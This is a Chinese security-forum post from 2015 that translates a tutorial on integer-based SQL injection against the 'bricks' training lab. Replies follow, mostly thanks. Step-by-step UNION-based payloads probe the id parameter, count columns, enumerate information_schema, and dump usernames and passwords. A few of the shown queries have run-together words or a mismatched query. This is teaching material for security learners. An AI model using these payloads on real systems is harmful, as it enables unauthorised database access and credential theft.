首页
社区
课程
招聘
[翻译]高级SQL注入 -基于整数
发表于: 2015-6-2 19:02 22336

[翻译]高级SQL注入 -基于整数

2015-6-2 19:02
22336

/*
*Author:CRoot
*Source:http://croot.cf/HelloWord/239.html
*Date:2015-06-02
*/
URL: bricks/content-1/index.php?id=0
SQL Query: SELECT * FROM users WHERE idusers=0 LIMIT 1

这里的id参数允许通过浏览器的URL进行输入改变输入的值这将会产生不一样的输出。

URL: bricks/content-1/index.php?id=1
SQL Query: SELECT * FROM users WHERE idusers=1 LIMIT 1

这次,页面显示的内容是另一个用户的。自从参数id 被输入便成了一个有趣的测试起点。首先,需要见测试是否容易受到SQL注入攻击的。

URL: bricks/content-1/index.php?id=0′
SQL Query: SELECT * FROM users WHERE idusers=0′ LIMIT 1

页面将不会有输出,但是会显示一些错误的信息。这意味着id参数存在着注入点,并且可以插入我们的注入语句,然后干扰查询内容。注入代码必须用一种不打乱完整的SQL语句方式去插入。下一步是利用精心构造的SQL命令去验证漏洞是否存在。

URL: bricks/content-1/index.php?id=0 and 1=1
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=1 LIMIT 1

现在页面不显示任何错误。这是因为添加的SQL语句返回的是一个True值。那么如果添加的语句返回的不是一个true值会怎么样呢?

URL: bricks/content-1/index.php?id=0 and 1=2
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 LIMIT 1

由于注入的代码总是返回false,Web的页面将不再显示任何内容,只会显示错误的信息告诉用户是不错在的。这就证明注入的语句在id这个参数上确实可以执行的。

注入的代码可以进一步的修改而得以完成更高级的功能,包括获取、删除、改变一些重要的信息。然而,在目前阶段,没有清晰的关于数据库的知识,版本,表,列等信息。所以,这些细节信息必须首先枚举出来。枚举出当前数据库列数是相对比较简单的一项工作。

URL: bricks/content-1/index.php?id=0 order by 1
SQL Query: SELECT * FROM users WHERE idusers=0 order by 1 LIMIT 1

页面将不会显示任何问题,也不会出现错误信息。

URL: bricks/content-1/index.php?id=0 order by 2
SQL Query: SELECT * FROM users WHERE idusers=0 order by 2 LIMIT 1

页面显示的内不再有任何问题和错误。所以这证明至少存在有2个列。

URL: bricks/content-1/index.php?id=0 order by 3
SQL Query: SELECT * FROM users WHERE idusers=0 order by 3 LIMIT 1

这个页面显示的内容仍然没有任何问题和错误。所以它至少有三个列。

这个过程中不断增加 order by的值直到页面出现一些显示的变化之后。

URL: bricks/content-1/index.php?id=0 order by 8
SQL Query: SELECT * FROM users WHERE idusers=0 order by 8 LIMIT 1

这个页面显示的内容仍然没有任何问题和错误。所以它至少有八个列。

URL: bricks/content-1/index.php?id=0 order by 9
SQL Query: SELECT * FROM users WHERE idusers=0 order by 9 LIMIT 1

这次页面出现了一些错误,所以第九列是不存在的。这将确认这个表只有8列。

union select语句将会找到这8个列中哪一个会产生漏洞。

URL: bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

这次页面没有出现任何特殊的信息也非正常的页面。这是因为页面只返回了查询结果的第一行。如果是这种情况,就需要对注入代码进行小小的修改使第二行显示完整。这有很多方法可以做到。

URL: bricks/content-1/index.php?id=99999 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=99999 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

在这,假定数据库的存储用户信息的数量是小于99999。因为没有ID是99999的用户,这第一行明显的变成无效的了,而第二行将变得有效。于是便将改变输出到了页面上显示出来。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1

尽可能的使第一部分命令失效。

这两种情况都会显示一些数字插入在真实的用户信息中。这些数字相对应的列就存在漏洞。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT user(),2,3,4,5,6,7,8LIMIT 1

第一个数字被替换成当前数据库的用户名,就是root@localhost

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT version(),2,3,4,5,6,7,8LIMIT 1

这将帮助我们获得数据库的版本。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT database(),2,3,4,5,6,7,8 LIMIT 1

当前数据库的名字将会被显示-bricks。现在必须枚举出当前数据库的表。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT table_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ LIMIT 1

因为只有一个表在bricks数据库中,所以它的信息会被显示出来。下一步是获取user表的列。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTtable_name,2,3,4,5,6,7,8 from information_schema.tables where table_schema=’bricks’ andtable_name=’users’ LIMIT 0,1 — – LIMIT 1

idusers的名字在users表的第一列。这两个LIMIT函数看起来在执行的查询语句中,这将会出现冲突而导致结果出现语法错误。为了避开这些问题,应紧接在注入的LIMIT函数后面,加入–注释,注释掉查询语句的其余部分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT column_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ and table_name=’users’ LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECTcolumn_name,2,3,4,5,6,7,8 from information_schema.columns where table_schema=’bricks’ andtable_name=’users’ LIMIT 1,1 — – LIMIT 1

name 是 users 表的第二列。

这个过程需要持续到LIMIT 7,1(作为一个有8列的表,它的编号开始为0)。在这个过程的最后,所有的列明将会获取到下面这些:idusers, name, email, password, ua, ref, host, lang。用户名列和密码列将会是比较有趣的列。所以下一步需要通过注入语句获取到这些列里面的数据。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 0,1 — – LIMIT 1

这将获得用户表里第一个用户和密码。CHAR(32)代表一个空格,这样放在用户和密码之间使其很容易去区分。

URL: bricks/content-1/index.php?id=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — –
SQL Query: SELECT * FROM users WHERE idusers=0 and 1=2 UNION SELECT concat(name,CHAR(32),password),2,3,4,5,6,7,8 from bricks.users LIMIT 1,1 — – LIMIT 1

获得用户表里第二个用户和密码。这个过程持续到获取表里所有的用户名和密码。

参考:http://sechow.com/bricks/docs/content-page-1.html
---------------------------------------------------------------------------------
可算翻译完了,饿死了,一会去吃饭。英语很菜,不足之处还望指出,谢谢!
----------------------------------------------------------------------------------


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 3
支持
分享
最新回复 (19)
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
楼主辛苦,顶一下吧!
2015-6-2 22:46
0
雪    币: 719
活跃值: (777)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
3
辛苦了前辈
2015-6-3 08:47
0
雪    币: 507
活跃值: (130)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
精华了啊,赞一个~小弟 好给力~来北京给你买糖吃~
2015-6-3 09:09
0
雪    币: 1380
活跃值: (1626)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
学写一下,留个脚印
2015-6-3 10:05
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
非常好  学习了
2015-6-4 09:40
0
雪    币: 268
活跃值: (114)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
好文章啊。。。。。。
2015-6-4 10:11
0
雪    币: 2822
活跃值: (154)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
谢谢分享,学习一下
2015-6-4 14:29
0
雪    币: 144
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
认真的读到最后,发现饿死了,这是本文最大的亮点
2015-6-4 17:19
0
雪    币: 53
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很不错的入门文章
2015-6-4 21:35
0
雪    币: 3366
活跃值: (1338)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
11
在机房没有时间观念 没办法 只能根据饿不饿判断时间
2015-6-5 08:33
0
雪    币: 11037
活跃值: (17540)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
楼主辛苦了,支持一下
2015-6-5 10:00
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
感谢楼主,要是能生成一个附件就更好了
2015-6-6 11:46
0
雪    币: 3366
活跃值: (1338)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
14
什么附件?PDF?
2015-6-7 10:30
0
雪    币: 1626
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
膜拜了..

真的很赞
2015-6-7 11:07
0
雪    币: 8
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
楼主,这可不能算是SQL高级注入,最基础的东西。
2015-6-9 17:02
0
雪    币: 3366
活跃值: (1338)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
17
这个我就不知道了  翻译的 他们写的是高级 咱就高级呗~~~
2015-6-10 10:34
0
雪    币: 6
活跃值: (57)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
很不错的入门文章
2015-6-17 14:11
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
是的.这样更好看些,不过已经感谢分享了
2015-7-27 21:10
0
雪    币: 560
活跃值: (939)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不错
2016-10-18 21:20
0
游客
登录 | 注册 方可回帖
返回
//